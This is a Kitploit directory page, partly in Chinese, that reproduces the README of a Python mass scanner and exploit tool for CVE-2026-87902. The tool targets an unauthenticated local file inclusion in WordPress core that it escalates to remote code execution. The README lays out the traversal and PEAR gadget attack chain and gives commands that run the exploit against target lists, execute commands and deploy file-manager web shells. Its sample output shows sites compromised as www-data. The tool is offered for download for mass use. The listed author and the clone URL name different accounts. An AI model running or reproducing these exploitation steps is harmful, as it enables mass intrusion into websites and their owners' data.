Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-87902 — 针对 CVE-2026-87902 的 Python 批量扫描器与漏洞利用工具,该漏洞是 WordPress 核心中 get_page_template() 的未认证本地文件包含(LFI),可通过 PEAR gadget 链升级为远程代码执行(RCE)。 | Kitploit
工具/GitHubGitHub/mrdark-ops/cve-2026-87902
漏洞扫描器Payload生成漏洞利用Web应用程序漏洞利用后渗透利用Web安全渗透测试远程访问工具
GitHubmrdark-ops/cve-2026-87902

CVE-2026-87902

针对 CVE-2026-87902 的 Python 批量扫描器与漏洞利用工具,该漏洞是 WordPress 核心中 get_page_template() 的未认证本地文件包含(LFI),可通过 PEAR gadget 链升级为远程代码执行(RCE)。

查看仓库
11个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
<div align="center">

# 🎯 CVE-2026-87902 — WordPress Core LFI → RCE

<img src="https://img.shields.io/badge/CVE-2026--87902-critical-red?style=for-the-badge&amp;logo=wordpress" />
<img src="https://img.shields.io/badge/CVSS-9.8-darkred?style=for-the-badge" />
<img src="https://img.shields.io/badge/GHSA-7hp8--65ch--5whp-orange?style=for-the-badge" />
<img src="https://img.shields.io/badge/CWE--22-Path_Traversal-blue?style=for-the-badge" />

<img src="https://img.shields.io/badge/Author-HackfutSecRoot-purple?style=for-the-badge&amp;logo=github" />
<img src="https://img.shields.io/badge/Python-3.8+-blue?style=for-the-badge&amp;logo=python" />
<img src="https://img.shields.io/badge/License-MIT-green?style=for-the-badge" />

<br>

<img src="https://readme-typing-svg.demolab.com?font=Fira+Code&amp;size=22&amp;duration=3000&amp;pause=1000&amp;color=F75C7E%C2%A2er=true&amp;vCenter=true&amp;width=700&amp;lines=WordPress+get_page_template()+Unauthenticated+LFI;PEAR+gadget+chain+%E2%86%92+RCE+%E2%86%92+File+Manager;Mass+scanner+with+multi-threading" />

<br>

**[🔍 Overview](#-overview) · [⚡ Quick Start](#-quick-start) · [🎯 Usage](#-usage) · [📊 Output](#-output) · [📞 Contact](#-contact)**

</div>

---

## 🔍 Overview

**CVE-2026-87902** is a critical **unauthenticated Local File Inclusion (LFI)** vulnerability in WordPress core that leads to **Remote Code Execution (RCE)** via the PEAR gadget chain.

The vulnerability resides in `wp-includes/template.php:get_page_template()`, which uses the public `pagename` query variable (read from `$_POST`) to construct a template name **without passing it through `validate_file()`**. Since `locate_template()` only performs `file_exists()`, a real `page-*` directory inside the active theme gives full path traversal.

### 🎯 Attack Chain

┌─────────────────┐ ┌──────────────────┐ ┌──────────────────┐ │ 匿名 POST │───▶│ 通过 │───▶│ PEAR Gadget │ │ page_id + │ │ page-templates/│ │ config-create │ │ pagename │ │ ../../../ │ │ 写入 shell │ └─────────────────┘ └──────────────────┘ └──────────────────┘ │ ▼ ┌──────────────────┐ │ 💀 RCE + │ │ 文件管理器 │ └──────────────────┘


### ⚠️ Affected Versions

| Product | Vulnerable | Patched |
|---------|-----------|---------|
| **WordPress Core** | `4.7.0` → `7.1.1` | `7.1.2+` |
| **Severity** | 🔴 **CRITICAL** | — |
| **CVSS 4.0** | **9.8** | — |
| **Authentication** | ❌ None required | — |

---

## ⚡ Quick Start

### 📦 Installation

```bash
# 克隆仓库
git clone https://github.com/HackfutSecRoot/CVE-2026-87902.git
cd CVE-2026-87902

# 安装依赖(仅使用标准库——无需 pip!)
python --version  # 需要 Python 3.8+

🚀 First Run

# 1. 创建目标文件
echo "https://target.com" > targets.txt
echo "https://another-site.org" >> targets.txt

# 2. 非破坏性检查(安全)
python main.py -l targets.txt --check --threads 20

# 3. 完整利用 + 文件管理器
python main.py -l targets.txt --rce --shell --threads 10

🎯 Usage

📋 Available Modes

Mode Command Description
🔍 Check python main.py -l targets.txt --check Non-destructive LFI detection
💥 LFI python main.py -l targets.txt Confirm LFI with OPML oracle
⚡ RCE python main.py -l targets.txt --rce --command "id" Execute commands via PEAR
📁 Shell python main.py -l targets.txt --rce --shell Deploy File Manager

🔧 Command Line Options

python main.py --help

  -u, --url URL          单个目标 URL
  -l, --list FILE        包含目标的文件(每行一个)
  --check                仅执行非破坏性检查
  --rce                  启用 RCE 升级
  --shell                部署 File Manager shell
  --command CMD          要运行的命令(默认:id)
  --page-id N            强制指定页面 ID
  --threads N            并发线程数(默认:20)
  --timeout S            单次请求超时(默认:12)
  --proxy URL            HTTP(S) 代理
  --output FILE          完整日志输出
  --output-vuln FILE     仅输出存在漏洞的目标
  --output-rce FILE      仅输出 RCE 目标
  --no-color             禁用 ANSI 颜色

💡 Examples

# 单个目标,带 RCE + 文件管理器
python main.py -u https://target.com --rce --shell --command "whoami"

# 使用代理(Burp Suite)进行批量扫描
python main.py -l targets.txt --rce --proxy http://127.0.0.1:8080 --threads 5

# 如果发现失败,自定义页面 ID
python main.py -u https://target.com --page-id 2 --rce --shell

📊 Output

After a successful run, the following files are generated:

FileContents
📄 results.txtFull scan log
🎯 vulnerable.txtTargets with confirmed LFI
💀 rce.txtTargets with successful RCE
📁 shells.txtFile Manager URLs

🖥️ Sample Console Output

CVE-2026-87902 批量扫描器 v3.0
  WordPress get_page_template() 未认证 LFI -> RCE
  
  GHSA-7hp8-65ch-5whp | CVSS 9.8 | CWE-22
  受影响版本:WordPress 4.7.0 - 7.1.1
  载荷:文件管理器(自动部署)
======================================================================
  模式     : 漏洞利用 + 文件管理器
  目标     : 50
  线程     : 20
  超时     : 12.0s
  开始时间 : 2026-09-28 14:32:15
======================================================================

[14:32:16] [+] https://target1.com | 存在漏洞 | 已确认 LFI:wp-links-opml.php 经由 page-templates/../../../../(page_id=2,POST,深度=4)
[14:32:17] [*] https://target1.com | 正在启动 RCE + 文件管理器...
[14:32:18] [+]   发现 Gadget:/usr/share/php/pearcmd @ 深度=7
[14:32:19] [$]   文件管理器已部署:https://target1.com/?page_id=2&pagename=...
[14:32:19] [$] https://target1.com | 文件管理器 | https://target1.com/...
[14:32:20] [-] https://target2.com | 不存在漏洞 | 已修补:7.1.5 >= 7.1.2
[14:32:21] [!] https://target3.com | 可能存在漏洞 | 版本存在漏洞(5.8.1),但 OPML 探测未触发
[14:32:22] [!] https://target4.com | RCE | uid=33(www-data) gid=33(www-data)
下载工具